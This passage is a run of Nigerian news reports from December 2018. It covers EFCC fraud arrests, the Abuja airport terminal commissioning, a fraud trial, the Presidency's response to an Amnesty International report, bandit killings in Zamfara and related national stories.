of Nigeria Police Academy Cadet Officers. You should consider yourselves privileged, not only for being able to complete the course but for being adjudged worthy in character, fitness and in learning to pass out as Cadet Assistants Superintendents in the Nigeria Police Force, he said. A major highlight of the event was the presentation of a sword of honour to the best graduating Cadet, Assistant Superintendent of Police, Shuaibu Aminu, by the president. He also presented an award to the best female graduating Cadet, Assistant Superintendent of Police Evangeline Babuba. The Economic and Financial Crimes Commission (EFCC) says it has arrested 10 suspected internet fraudsters in Port Harcourt. The EFCC in a statement signed by the Acting Head, Media & Publicity, Tony Orilade, and made available to PREMIUM TIMES on Thursday gave the names of the suspects as: Alia Jamike Chinemerem, Ogbiugba Henry, Uchenna Cyril, Samuel Obomovo, Israel Ogagaoghene, Israel Diaso, Aghariagbonse Destiny, Aretuemhen Frank, Paul Esibhakpen and Loius Idehen. According to the EFCC, they were arrested in different locations and at different times across state, Warri and Asaba in Delta State in a sting operation. The statement added that investigations showed that the suspects were involved in love scams with many of them purporting to be officers of the American army. The agency added that various scam emails where the suspects posed as officers of US Army were traced to them. The EFCC said one of the suspects, Israel Diasco, had successfully defrauded an Indian lady, Promilla Lama, of a huge amount of money still being verified and another, Chinemerem, (alias Good Thaddy) confessed to being a picker. A picker is a fraudster who provides foreign accounts to other Internet fraudsters which they usually use to receive money from any unfortunate victim. A picker is allegedly paid 30 per cent of the total amount received in any of such accounts. PREMIUM TIMES earlier reported how the EFCC arraigned Gift Onyinechi, Marvin Nwankwo, Prince Ojenike and Jude Olatekobowale, over a similar offence. According to the statement, the EFCC Zonal Head of the state, Nnaghe Itam at a news conference in Port Harcourt disclosed that it has secured 33 convictions so far in 2018. Mr Itam in the statement also said that N1.7 billion had been recovered during the period. Also recovered were various sums of $ 552, 368. 55 and 5, 225 Euros, Mr Itam added. Meanwhile, the agency says it has also commenced an investigation of 358 trucks, 18 oil vessels, 13 barges and two boats seized for sundry illegal oil bunkering activities which it said were handed over to the EFCC by the 6 Mechanized Division, Nigerian Army, Rivers State. According to Mr Itam, the volume of petroleum products carried by the trucks was 219, 688. 27 metric tonnes. The products are suspected to be Automotive Gas Oil (AGO). The Senate has confirmed the nomination of Uwani Abba Aji as a justice of the Supreme Court of Nigeria. The confirmation follows consideration of a report by the Senate committee on Judiciary, Human Rights and Legal Matters. Reading the report, chairman of the committee, David Umaru, said the nominee has been screened and satisfied all requirement. The lawmakers approved the nomination after a voice vote. In a short comment after the confirmation, the Senate President, Bukola Saraki, lauded members of the committee for their speedy consideration judging by the fact that the request came from the executive on December 6. Mr Saraki urged the executive to replicate such expeditious action in handling matters. He specifically mentioned that the justice which Mr Aji would replace had retired since February, but the executive did not send in a request until December. President Muhammadu Buhari has said that his administration is gradually closing the infrastructural deficit in the country. He made the assertion Thursday at the Nnamdi Azikiwe International Airport, Abuja, where he commissioned a new terminal building. Mr Buhari said the commissioning of the new terminal has shown that Nigeria is moving towards achieving and meeting global aviation standards in facilitation, passenger processing and service delivery in tandem with international best practices. This Administration recognises aviation as a catalyst for economic growth and as such will continue to encourage and support the actualization of projects that will place Nigerian Airports amongst the best in the world, he said. This event today, reflects Governments deliberate policy to sustain the development of Nigerias infrastructure. We are gradually closing the infrastructural deficit bedevilling our country. The new terminal building was constructed by a Chinese firm, CCECC with funding from the China Export Import Bank. Mr Buhari said the completion of the project represents yet another significant milestone for international air travellers in and out of the Federal Capital Territory. The president also said he was happy with the progress being made in both the airports and seaports on the implementation of the Executive Order on the Ease of Doing Business of his administration. He said all government officials manning these gateways are to sustain the momentum and ensure travellers in and out of the country have the best of experience as a necessary complement to the ultra-modern terminal. He said the Nnamdi Azikiwe International Airport Terminal is the first airport terminal to be connected to rail transport system in the Country. President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal This has provided passengers and other airport users with a choice in the mode of transport to and from the city centre. I recall taking a ride from the City Metro station to the Airport on the day the rail line was commissioned. I wish to assure you therefore, that Government remains committed to developing Nigeria into Regional air transportation hub and thereby assuming its leadership in the aviation sub sector in Africa, he said. Mr Buhari also commended the efforts of the Federal Ministry of Transportation (Aviation), the Government of the Peoples Republic of China and the China Exim Bank for their financial support and the various roles they played leading to the successful completion of the project. He also commended the contractor Messrs CCECC for delivering the project on time. Speaking earlier, the Minister in charge of Aviation, Hadi Sirika said new terminal was the second in the series of Airport terminals to be commissioned from the projects funded by the China-Exim bank loan of $500m with a counterpart funding of $100m from Nigerias debt management office. He said from both political and economic perspectives, the Abuja airport is very strategic to Nigeria not only because it is the gateway to the nations capital but also because it is the second busiest airport in the country. Me Sirika also said the Abuja airport is the fastest growing in passenger traffic in West and Central Africa, with an average growth rate of 8%, where the world average growth is 5.8%. . He said the airport processed 5,709,012 passengers in 2017. President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal Nnamdi Azikiwe International Airport, Abuja President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal This volume equals to about 13 times the total number of passengers recorded by Ghana as a country, he said. Giving a description of the new building, Mr Sirika said the terminal has an annual passenger capacity of 15 million covering a space of approximately 56,000m2. He said it also has 72 check-in counters, five baggage collection carousels, 28 immigration desks at arrival and 16 at departure. President @MBuhari arrives Nnamdi Azikiwe International Airport, Abuja to commission the newly completed International Terminal Building of the Airport. pic.twitter.com/eSmQmsHtY5 Bashir Ahmad (@BashirAhmaad) December 20, 2018 Other features of the new building are eight security screening points, eight passenger boarding bridges, walkway to link the FCT metro rail, additional apron for remote parking of aircraft and a linkway to the domestic wing. Mr Sirika said the Federal Executive Council (FEC) gave approval of $461,795,551.0 as the second tranche for the funding of phase two of the project. He said the second phase takes into cognisance, additional facilities that will enhance airport efficiency such as the construction of additional apron, multi-level car park, fire station, additional boarding bridges and facility and boarding bridge to accommodate Airbus A380. The phase two of the project also includes completion of Kano and Lagos terminals, he said. Mr Sirika said his ministry was committed to completing the project soon. He said, however, that work recently slowed down due to nonpayment of $69.3m counterpart funding by the government. May I respectfully at this point, request Mr Presidents kind intervention in this regard, please, he said. Also, the Minister of FCT, Mohammed Bello, in a short remark said the completion of the terminal is a reflection of the desire of Mr Buhari to ensure that important infrastructure projects in the country are completed. Also the Chinese Ambassador to Nigeria in a goodwill message said the new terminal building is the biggest in West Africa. President Muhammadu Buhari at the commissioning of the Abuja Airport International Terminal He said the contractor, CCECC and China Exim bank has proven to be a reliable partner for Nigeria. The world needs China and China needs the world for its prosperity. We respect, love and support Nigeria. We will remain true to our Nigerian brothers, he said. The Rice Farmers Association of Nigeria (RIFAN) and Fertilisers Producers and Suppliers Association of Nigeria (FEPSAN) have donated N1.77 billion to the campaign of President Muhammadu Buhari who seeks a second term in 2019. The donations were announced Wednesday night during a Gala Night organised by beneficiaries of the governments Anchor Borrowers Programme which held at the old Banquet Hall of the Presidential Villa, Abuja. The two groups said Mr Buhari has changed the fortunes of the agriculture sector by bringing unprecedented change which has empowered them. Announcing the donation of N1.2 billion on behalf of rice farmers, the president of RIFAN, Aminu Goronyo, said apart from the increasing progress in the sector, the presidents policies have also resulted in savings of billions of naira for the country. Mr Goronyo said RIFAN has a membership of about 12.2 million and that each member will donate N100 to the campaign which translates to N1.2 billion. Mr Goronyo said more fertilisers were made available to them easily in the last three years. All these achievements are from your commitments and favorable policies to agriculture, he said Similarly, president of Fertilisers Producers and Supplies Association of Nigeria, Thomas Etuh, said N120 billion was saved in two years from fertiliser subsidy. He then announced that FEPSAN is contributing N570 million to the re-election bid of the president. Mr Buhari, who thanked them for the gesture, said statistics from the National Bureau of Statistics (NBS) have confirmed that his administrations policies are yielding results. He said he inherited a broken system in the agricultural sector in 2015. Seeing your faces and hearing your stories give me hope. Today, we are on track to achieving an all-inclusive economy. At the event, the Governor of the Central Bank of Nigeria, (CBN), Godwin Emefiele, said the Anchor Borrowers programme launched on November 17, 2015, has resulted in the saving of $800 million. Mr Emefiele said import bills before the introduction of the programme was as high as N1.4 trillion annually. He said the anchor borrowers programme has been creating jobs and wealth for the teeming population. He said 2.5 million jobs have been created from rice farming alone. He also said the anchor borrowers programme of the Buhari administration is the most successful anchor programme in Africa. It has raised the standard of our farmers, he said. Also, the Minister of Agriculture, Audu Ogbeh, said the programme has moved Nigeria up the ladder of rice producers in Africa. On his part, Kebbi State Governor, Atiku Bagudu, who is the Vice Chairman of the National Food Security Council, noted that the president has shown unprecedented commitments to agriculture development in Nigeria. He thanked the president for setting up the council. He said Nigeria is on the path of taking on the world. Among those who attended the gala night included the National Leader of the All Progressives Congress (APC), Bola Tinubu; Kogi State Governor, Yahaya Bello; Zamfara State Governor, Abdulaziz Yari; Ondo State Governor, Rotimi Akeredolu, and Jigawa State Governor, Badaru Abubakar. Also at the occasion were the APC National Chairman, Adams Oshiomhole; Secretary to the Government of the Federation (SGF), Boss Mustapha; Chief of Staff to the President, (COS), Abba Kyari, among others. Olalekan Ojo (SAN) the defence counsel for Fred Ajudua, a former Lagos socialite, challenged a former Chief of Army Staff, Ishaya Bamaiyi, to provide proof of the source of the 8.4 million dollars, his client allegedly defrauded him of in 2004. Mr Ojo, gave the challenge on Thursday at an Ikeja High Court at the resumed trial of Mr Ajudua for the alleged fraud. The News Agency of Nigeria (NAN) reports that Mr Ajudua, allegedly defrauded Mr Bamaiyi of $8.4million while they were both in custody in Kirikiri Prisons in 2004, Mr Bamaiyi, a retired lieutenant general, was in custody for treason while Mr Ajudua was in custody for fraud related offences. Mr Ajudua, alongside some accomplices, had allegedly approached Mr Bamaiyi and convinced him that he could hire the legal services of Afe Babalola (SAN) to help secure his freedom with Mr Bamaiyi giving Mr Ajudua $8.4 million as legal fees. When the alleged fraud came to light, the law chambers of Afe Babalola and Co issued a disclaimer dissociating itself from the case. During Thursdays proceedings, Mr Ojo told the court that he had been re-engaged by Mr Ajudua to represent him and had requested for the Certified True Copy (CTC) of the last court proceedings held on November 26 to keep him abreast of recent happenings in the case. He said the defence wanted Bamaiyi to provide documents showing proof of the source of the $8.4million in order to adequately cross-examine the retired General. After reading the records of proceedings, I discovered that several issues which necessitating us requesting the learned counsel to the prosecution to avail is certain documents related to the evidence given by the first prosecution witness (Bamaiyi). These include evidence of alleged sale of items of landed property the proceeds of which according to the witness, formed part of the sources of funds he claimed to have handed to the defendant. The other pieces of evidence relates to the alleged transactions that took place at the Kirikiri Maximum Prisons. There is a need to write letters to the prison for some clarifications for us to conduct a very thorough investigation, Mr Ojo said. The SAN said there was nowhere in the proof of evidence, where the former Chief of Army Staff had stated that he had sold some specific landed money to raise the funds he gave to Mr Ajudua. He noted that Mr Ajudua had been granted bail by the Court of Appeal on December 10 for another fraud case he has pending before Justice Mojisola Dada of an Ikeja Special Offences Court. My Lord I got the CTC of the proceedings at 3 p.m on Wednesday and it was virtually impossible for me to have any discussion with the defendant. We are not blaming anybody for this because in other courts, the CTC of proceedings wont be ready as quickly as this because of the volume of work, he said. Mr Ojo asked the court to for an adjournment to enable him file necessary documents to compel the prosecution provide documents that are not in the proof of evidence. Seidu Atteh, the lead prosecutor for the Economic and Financial Crimes Commission (EFCC) however opposed the defences request for an adjournment. My Lord, the evidence before this honourable court is not solely based on the sale of property, that is just one of the numerous sources stated in the evidence-in-chief of the first prosecution witness. We can cross-examine the witness today on other sources of the funds given to the defendant and if proof of the landed property sold is important to the defence, we will make it available to him on the next adjourned date. My Lord, refuse the application and in order to save judicial time, I urge My Lord to call the witness to the box, the EFCC prosecutor said. Acceding the request of the defence for an adjournment, Justice Josephine Oyefeso ordered the prosecution to provide the necessary documents to the defence. I take responsibility for the CTC of proceedings not being ready until yesterday. I agree with the submission of the defence counsel that prosecution should make available all the relevant documents as he has stated. I hereby grant an adjournment, the case is adjourned to Feb. 19, 20 and 21 2019 for continuation of trial, Mrs Oyefeso said. Mr Bamaiyi had while testifying on November 26, revealed the sources of the funds he allegedly lost to the scam. He said most of the money were from friends, colleagues, relations and well-wishers who had pleaded with him not to identify them because some of them held positions in government. The other sources were from my farm products, Ive been a farmer since 1984 when I was in service, I do different things on my farm, I grow cotton, soya beans and Im also involved in animal husbandry. My Lord, I was posted to Lagos since 1986 and I remained in Lagos till my retirement in 1999. I was able to acquire some property, two duplexes on Sanusi Fafunwa in Victoria Island which were allocated to me by the Lagos State Government. I went into an agreement with HFP, a construction company who developed the two duplexes and rented it for six years and returned them to me, I sold those duplexes. My Lord, I bought a duplex and flat in Dolphin Estate which I also sold, I had a duplex in Tajudeen Olanrewaju Estate Yaba which I also sold, I have a plot of land at Dolphin Estate, and I also had two bungalows in Kaduna which I also sold. My Lord, these were the sources of the money, Mr Bamaiyi said. (NAN) The Presidency has accused Amnesty International of drawing wrong conclusions in its latest report highlighting the failure of the Nigerian government to check rampant killings in the last three years. The Nigerian Army had earlier dismissed the report, demanding the withdrawal of the group from the country, while the Presidency in its initial response expressed concerns about the groups report. But in a more measured tone Thursday, the Presidency, through spokesperson Garba Shehu, commended Amnesty International for some of its conclusions, but said its evidence gathering was flawed. Read the full statement below: AMNESTY INTERNATIONAL REPORT, DRAWING THE WRONG CONCLUSIONS PRESIDENCY The first thing to say about Amnesty Internationals Report: Setting the Record Straight is to thank the organisation for confirming a fact stated time and again by President Muhammadu Buhari that the conflict between herders and farmers in Nigeria is not about religion. There is equally a confirmation by Amnesty International (AI) that it is being stoked by local politicians and that this whole problem is about scarcity of resources. Beyond these, the report has raised our concerns about the validity of their evidence-gathering. It is like knowing the facts but drawing the wrong conclusions. Still, Amnesty International got some of its facts wrong. It is not correct to state in any way that the problem between farmers and herders is a new thing over the last three years. It has been happening for over 100 years. Colonial Powers Britain and France had regularly recorded these conflicts which are available in Archives. It is equally untrue that government has done nothing. Alleged human rights abuses have been investigated. Clashes have been reduced through governments actions. This progress is due to the strong determination of the administration to punish rights violators no matter who they are, including the military through Orderly Room trials, Court Martials and the regular courts. This administration has given absolute freedom to the National Human Rights Commission and set an important record by paying compensation to the victims of the rights abuses. The Apo Six, for instance, had received compensation to the tune of N135 million. Just a few months back, the President signed the law against torture. In an interim report in October this year, the International Criminal Court, ICC, stated that: The Nigerian authorities appear to have taken concrete steps in fulfilling their primary responsibility of investigating and prosecuting ICC crimes. While there seem to be a tangible prospect of further proceedings against members of Boko Haram including high level commanders, at this time, the same cannot be said of NSF in particular since the Nigerian authorities deny any allegations against the latter. Every country experiencing any level of insecurity or insurgency either as a matter of external aggression, or even more sensitively, internal conflict is confronted with complex and sensitive issues. Nigeria is no exception. The government is very much concerned about the sad and unfortunate loss of lives and properties, and the collateral broken/threatened communal relationships and societal mutual trust occasioned by attacks our nation has experienced. As a nation, we remain unrelenting in securing our country, and restoring peace in troubled areas. Although the complications that attend internal conflicts are present in Nigeria, the courage to confront both the conflicts and their complexities remain a matter of priority to this Administration. Indeed, reputable global organisations have recognised that the efforts of our security forces, who work tirelessly to secure our communities, are yielding results. An example of this is the recently published Global Terrorism Index Report, 2018, which acknowledged the effectiveness of Nigerias counter-insurgency operations, stating that: Total deaths from terrorism in Nigeria fell to 1,532 in 2017, a decrease of 16 per cent from the prior year. The decline follows the 63 per cent drop in deaths in Nigeria in the preceding year, and a 34 per cent drop in 2015. This highlights the effectiveness of the counter-insurgency operations undertaken in Nigeria and its neighbours, Cameroon, Niger and Chad. Curiously, the Amnesty International report, Harvest of Death: three years of bloody clashes between farmers and herders in Nigeria, appears to be inconsistent with the Report above. Global Terrorism Index Report is considered a credible source even for Amnesty International covering the same period and the same terrain. However Amnesty International in addition to stating inaccurate casualty figures misleadingly alleges that the government has failed to protect affected communities and refused to investigate, arrest and prosecute perpetrators of these attacks. Nothing could be further from the truth. This administration has continued to work ceaselessly to enhance security in affected parts of the country, ensure that victims are provided with relief, and that criminals are arrested and prosecuted. It is careless and mischievous to misrepresent the facts and thereby mislead the public. Our security forces are not going to be deterred, neither will their morale and effort be affected by any tendentious report that mischaracterizes the important sacrifice they make to protect citizens at great risk of injury or death. It is the global norm and custom that assessors and commentators are fair and factual in their reportage and accounts of incidents and situations so that they do not endanger the lives of security personnel or worsen conflicts. Nonetheless, our security forces will continue to intensify ongoing and new multi-pronged approaches to conflict resolution. The Federal Government welcomes fair and constructive assessments aimed at dousing tension and promoting mutual communal confidence, safety and security, but rejects inflammatory statements, reports or assessments that stoke tension and deepen mistrust and thereby intensify conflicts and violence. As part of a more comprehensive intervention and response to the violence and conflict, the Federal Government deployed security forces to affected areas, empanelled fact-finding missions, and repeated visits and engagement by the most senior government and security officials/special forces including the President as well as relocating command and control apparatus to such areas. Further, the National Economic Council established a 10-man Committee on farmers/herdsmen clashes, headed by the Vice President. These high-level security operations and attention have led to the arrest of many people responsible for perpetrating violence. As a result, relative calm and peace have been restored to many communities. There have been 500 arrests, with many convicted and as a result, relative peace and calm have been restored in many of the affected areas. Of particular note was the arrest and conviction of Alhaji Tashaku Aliyu and others who were apprehended in connection with the killing of 2 priests and 17 worshippers at St. Ignatius Catholic Church on April 24th, 2018 in Benue State. In addition, seven herdsmen that were involved in the kidnapping of a farm owner have been sentenced to life imprisonment by an Ondo State High Court. Beyond the security measures, President Muhammadu Buhari also authorized a mechanism and released NGN10 Billion for the rehabilitation of farms and farming communities to provide relief to affected areas. During a visit to Nasarawa State in February 2018, the President also reiterated his condemnation of the violent conflicts and their perpetrators and his administrations commitment to protecting citizens and mitigating their losses. He said: I also want to assure the people of the North Central and indeed all Nigerians that the federal government is working day and night to ensure peace and stability return. We have deployed additional resources to all the affected areas to maintain law and order. The attacks by suspected herdsmen and other bandits will not be tolerated. I appeal to all Nigerians to refrain from reprisal attacks. The security agencies have standing instructions to arrest and prosecute any persons found with illegal arms. I will once again express my condolences and sympathy to all the affected victims of these barbaric acts, This position was again reiterated by the Vice President, Prof. Yemi Osinbajo, in June 2018 during his visit to Plateau State, where he held meetings with community leaders and condoled with the people. A vital component of our successes or any success in similar conflicts is accurate reporting and credible intelligence. We encourage reporters to be accurate and citizens to provide information about known or even suspicious activities or persons to ensure we succeed in preventing attacks, and eliminating this scourge. Finally, and in the interest of openness, the Federal Ministry of Justice is analysing the Amnesty International Report for further responses, and actions where applicable and necessary. The Federal Government also appeals to communities not to be provoked or inflamed by this misleading report to seek or pursue reprisal action against others within their communities, but to remain assured that the government will continue to take steps to secure citizens and promote amicable conflict resolution as well as peaceful co-existence. GARBA SHEHU Senior Special Assistant to the President (Media & Publicity) December 20, 2018 RE- HOW AGENCY HEADED BY BUHARIS IN-LAW IS VIOLATING NIGERIAS PROCUREMENT LAW Our attention has been drawn to a publication by an online media organization, on Friday, December 14, 2018 pointing out alleged violations of relevant provisions of the Public Procurement Act by BCDA. Ordinarily we would not have bothered about the publication if not for the wrong impressions it would create in the minds of the reading public and the attempt to drag the name of the Executive Secretary and Management of the Border Communities Development Agency [BCDA] in the mud. In putting the records straight, we have considered the stakeholders [Border Communities], the day to day administration of BCDA, the Federal Government, as well as the Agencys various contractors who may be concerned about the baseless and ruinous story. The Agency wishes to state the following: 1. The report stated that In short listing the firms, procurement officials at BCDA overlooked tax clearance certificate, one of the top two requirements any interested firm must present to meet the basic requirement of contract award. This is not true. At no time did the Agency overlook the Tax Clearance requirement in the procurement process as alleged by the online report. For the avoidance of doubt, every firm shortlisted submitted a valid tax clearance certificate and this is verifiable. In addition, we wish to inform the public that all Tax Clearance Certificates submitted are forwarded to the FIRS for authentication. 2. Our requirement is that firms bidding for contracts must have a minimum of three-years (2015,2016,2017) cumulative turnover of N50 million. This is contrary to the Online erroneous report that the contractors were asked to present N50 million annual turnover in taxes [which will mean N150 million in 3 years]. However, not meeting the cumulative average turnover of N50million over a three-year period does not disqualify a company for further considerations as each requirement is assigned a weighted score and cumulative score of each contractor determines their prequalification or otherwise. 3. It is not true that Estivus Nigeria Limited submitted their tax clearance after the bidding process had closed, neither did it submit a tax clearance obtained on August 16, 2018. Again, contrary to the report, the procurement process does not require tax clearance for 2018. Accordingly, the firm submitted the tax clearance for 2015, 2016 and 2017. 4. The allegation that the Executive Secretary said he did not have any scruples altering the procurement process to accommodate and support SMEs was taken out of context. Truth is that the Executive Secretary only observed and made reference to Executive Order 5, signed by Mr. President stating that A Nigerian company or firm shall not be disqualified from an award of contract by MDAs on the basis of the year of incorporation, but rather on the basis of qualification, competence and experience of the management in the execution of similar contracts. The Executive Secretary assumed office after the procurement process commenced and so far, he has not found cause to alter the process. 5. We need to reassure the public here that as at today, contrary to the impression created by the reporter, the procurement tender evaluation process is not conclusive until contracts are awarded. And as of today, no contract has been awarded as the procurement tender evaluation process is still ongoing. Therefore, the issue of violating the Procurement Act 2007, does not arise. 6. It is clear that for all intents and purposes, the publication is meant to put undue pressure on the procurement process, derail it and if possible, influence the outcome of the procurement process and tarnish the hard-earned reputation of the Agency. It should be noted that there are provisions for any firm dissatisfied with the process to seek redress as enshrined in Section 54 of the Procurement Act 2007. The Border Communities Development Agency is a Federal Government interventionist Agency saddled with the task of providing social and infrastructural amenities to international border communities in 21 states of the Federation, including 105 Local Government Areas. It is a responsibility we have carried out strictly, guided by the provisions of the BCDA Establishment Act. Our activities have given a sense of belonging to those living in border communities and boosted their confidence in the present administration. We remain committed to the discharge of our mandate and will not be distracted by ill motivated and spurious allegations against our Agency. We do not intend to join issues with any media entity again over these issues as the appropriate channels and organs are available for anybody to report if he or she believes any law is being violated. Signed Atarhe R. Akpohwaye Abuh Head, Public Affairs & Protocol The Coordinator, Federal Capital Territory (FCT), Home-Grown School Feeding Programme, Victoria Aleogena, says more than 120,000 primary school pupils, would benefit from the programme. Mrs Aleogena disclosed this in an interview with journalists on Thursday in Abuja. She said over 123,000 pupils in Primaries one to three across 626 public schools in the FCT would benefit from the feeding program, scheduled to commence early 2019. She explained that the programme is a component of the federal governments social safety net designed to primarily increase enrolment, retention and transition in school, and also increase their nutritional and health status. We have not determined how many food vendors yet, but we will need about 1,250 or 1,300 and about 2,000 applications have already been received since August, this year, when the committee was inaugurated, she said. She appealed to the FCT residents to be patient with the government on the lateness of the programme. The coordinator assured that the due process would be applied in selecting the food vendors, explaining that they had to resort to open ballot system to select the cooks. Mrs Aleogena said when selected, all the cooks would be required to open accounts with two or three banks designated by the FCT administration, through which their monies would be paid to them directly by the Federal Government. She added that the FCTA was working with bakers association to reduce the cost of bread and eggs for the food vendors. We are working with Agriculture and Rural Development, Education, Social Development, Area Councils Services. Also, Health and Human Services Secretariats, as well as the FCT Treasury and Economic Planning, Research and Statistic Departments have pledged support for the programme. We therefore appeal to the public, especially the parents, guardians and pupils to be patient and understand that we are following due process to give them the best and serve as a model for other states, she reiterated. (NAN) Suspected armed bandits on Wednesday stormed three communities in Birnin Magaji Local Government Area of Zamfara State, killing many residents. Some of those killed were working on their farms when they were attacked. Sources said the armed bandits came heavily armed and opened fire on the farmers who were harvesting sweet potatoes at Garin Haladu community. A resident told PREMIUM TIMES that, the armed bandits came around 1 oclock noon and opened fire on some youth harvesting sweet potatoes at Garin Haladu community and killed ten people. He added that they came back in the evening and ransacked some villages around. The source said in Wednesdays attack, 12 people were killed at Garin Haladu community. At Nasarawa Godal community, four persons were killed, while at Garin Kaka community, nine people were killed, he said. The three communities are in the same local government. Many youth from Nasarawa Godal community ran to Garin Haladu to help the neighbouring community fight the attackers. Among them, four persons were killed by the armed bandits and their corpses were discovered today (Thursday), the source said. The source, who asked not to be named for security reasons, named those killed from Nasarawa Godal community as Kurma Garba, Sunusi Mairoba, Ibrahim Yahuza and Haruna Dangodal. Those four have been buried. Many were injured and are receiving medical treatment at Nasarawa Godal hospital, he said. Some, whose situations worsened, were referred to Kaura Namoda hospital in the state. The affected local government, Birnin Magaji, is the hometown of Nigerias defence minister, Mansur Dan Ali. Most of the villages surrounding Birnin Magaji Local Government Area such as Ballaka, Tsalle, Gidan Kare, Katsinawa, Garin Boka and Garin kaka are deserted due to repeated attacks by the bandits. Residents of such villages are taking refuge at the council headquarters and some other places in the state. Many fear death in fresh attack in Zamfara. The source stated that residents are now searching for corpses in the bush and there is the fear that the death toll will rise. Soldiers reportedly came in three vehicles to the area, hours after the armed bandits had finished their operation. Many local government councils in Zamfara State are battling armed bandits and cattle rustlers with Tsafe, Zurmi, Shankafi, Maradun, Maru and Birnin Magaji local government areas most affected. When contacted for comments, the police spokesperson in Zamfara State, Muhammed Shehu, did not pick his calls, neither did he respond to the text message sent to him. Hundreds of people have been killed by bandits in attacks in Zamfara State in 2018. The attacks have continued despite the deployment of thousands of security officials to the state. The Kaduna State Nutrition Officer, Hauwa Usman, said on Thursday that no fewer than 132 children have died of severe acute malnutrition out of the 12,858 hospitalised between January and October 2018 in the state. Mrs Usman, who made this known while giving an update on the nutrition situation in the state at a two-day meeting in Kaduna, also said that 10,604 out of the 12,858 have been cured. The meeting was organised by Save the Children International (SCI) to support Kaduna State Chapter of the Civil Society Scaling-Up Nutrition in Nigeria (CS-SUNN) to develop two-year Nutrition Advocacy Strategy. She added that 187 others who have not recovered were undergoing treatment. Currently, 11.7 per cent of children under-five years are wasted suffering from severe acute malnutrition, while 47 per cent are stunted (too short for their age), she said. She attributed the high incidence of malnutrition in the state to poor maternal, infant and young child feeding practices which has remained unsatisfactory. The Multiple Indicators Cluster Survey, 2017, releveled that the rate of timely breastfeeding initiation is 28.9 per cent, while only 19,7 per cent under-five children were exclusively breastfed. Similarly, only 10 children aged six to 23 months were adequately and appropriately fed, she said. Also speaking, Silas Ideva, CS-SUNN Coordinator in the state, noted the high burden of malnutrition among children under-five years in the state. According to him, despite many years of implementing nutrition activities by the state government and partners, results are not so encouraging. To address the issue of malnutrition, there is the need for nutrition budget line in all relevant ministry, departments and agencies. There is also the need to scale up high impact cost effective nutrition interventions at strategic locations and expedite action on finalising Kaduna State policy on Food and Nutrition. The state government also need to have a holistic budget for nutrition specific and nutrition sensitive interventions. Yusuf Auta, Deputy Director, Development Aid Coordination in the state Planning and Budget Commission said that N200 million, out of the N300 million allocated for nutrition intervention in the states 2018 budget has been cashed backed. Mr Auta added that the commission is awaiting cash backing of the remaining N100 million for the procurement of Ready to use Therapeutic Food. He called on civil society organisations in the state to support the government in addressing scourge of malnutrition to give under-five children the chance to celebrate fifth year birthday and beyond. Earlier, SCI Nutrition Advocacy Adviser, Isa Ibrahim, explained that the objective of the meeting was to support CS-SUNN to develop nutrition advocacy strategy for better outcome. Mr Ibrahim added that the meeting was also organised to identify barriers and challenges of nutrition intervention in Kaduna state. We equally want to identify and review target stakeholders, including champions at state level for nutrition intervention and effective implementation of the strategy. What we want to at the end of the day is to develop advocacy messages for the implementation of the advocacy strategy, he said. (NAN) The Nigerian Navy on Thursday said it had dismissed three of its personnel over theft of some equipment belonging to Government Ekpemupolo (aka Tompolo) in Warri, Delta State. The dismissed personnel are: Petty Officer Ekong Samuel, Leading Seaman Elijah Sagwada and Seaman Usman Shuaibu. Briefing journalists in Warri, the Commander, Nigerian Navy Ship (NNS), Delta, Ibrahim Dewu, a commander, said the personnel were also sentenced to five months imprisonment each by the Navy Court Martial. According to him, the convicted personnel will be handed over to the authorities of the Nigerian Prisons in Okere, Warri. Mr Dewu said the navy would not shield any of its personnel who indulged in criminal activities. He said the affected personnel were apprehended in June at Mieka Jetty, Warri South where they were posted to on keeping duty. Mr Dewu said the convicts were tried in accordance with the navy standard rules. He said sometimes in June, some personnel posted to Mieka Jetty on keeping duty were caught stealing some of the equipment in that jetty. When the report was made to the base, they were apprehended alongside their civilian collaborators. Investigation was carried out and a court martial was recommended to try the three personnel from NNS Delta. What you see today is the sentence that was given after the court martial. We are carrying out the naval procedure for a dismissal, and we are going to send them to prison after the dismissal. They were first dismissed, after which they were de-kitted and now they are going to serve five months jail term in prison. The Nigerian Navy has never and will never condone any case of indiscipline, especially issues that will bring disrepute to the service, he said. (NAN) Afenifere, a Yoruba socio-cultural group, on Thursday said that it will formally endorse the candidature of President Muhammadu Buhari and his Vice, Yemi Osinbajo in 2019 days after a faction took an opposite position. The group made this known shortly after its meeting held at the House of Chiefs, Secretariat Ibadan, the Oyo State capital. In September, Ayo Adebanjo who spoke on behalf of another faction led by Reuben Fasoranti had told journalists in Abeokuta, the Ogun State capital, that the group may support the candidature of Mr Buharis main challenger at the presidential polls, former Vice President, Atiku Abubakar. But, another group led by Ayo Fasanmi on Thursday, in Ibadan, the Oyo State capital, said Mr Buhari has performed well, hence he deserved another term in office. The Ayo Fasanmi-led Afenifere after its meeting told journalists that it will on January 29 formally declare its support for Messrs Buhari and Osinbajo. Leaders of the group at the Ibadan meeting included former governor of Oyo state, Omololu Olunloyo; Biyi Durojaye and Chairman of Ekiti State chapter of the group, Akin Fasae. Mr Fasae who spoke on behalf of the group described the Mr Fasoranti group as an usurper. He said, We decided to host the whole Yoruba land in Ibadan on January 29 next year. It is to proclaim support of the Yoruba land for President Muhammadu Buhari come 2019. And also to tell the whole world that the Afenifere that Baba (Obafemi) Awolowo created before he left is still intact. The Afenifere is a progressive movement and any Afenifere who is not a progressive is not Afenifere. The Afenifere that Baba Awolowo created is still intact and we are going to support President Muhammadu Buhari and Professor Yemi Osinbajo in the presidential election come February 2019. Mr Fasae said Mr Buhari has performed well and deserved another term in office. He said, The economy is a collective issue, the unemployment that we have is getting better. Look at the school feeding program, look at his many millions of naira they are spending, look at the number of school children they are feeding. Look, children are being fed, 27 states are benefiting. And many other things that are happening and unemployment has reduced. Buhari has done his best and his best is yet to come. That is why we are telling people to vote for him particularly in the Yoruba land. He claimed that the Fasanmi-led Afenifere is the authentic Afenifere and that the one led by Chief Rueben Fasoranti is not part of Afenifere. Mr Fasae said, The other Afenifere that is talking about Atiku, the Ayo Adebanjo group is 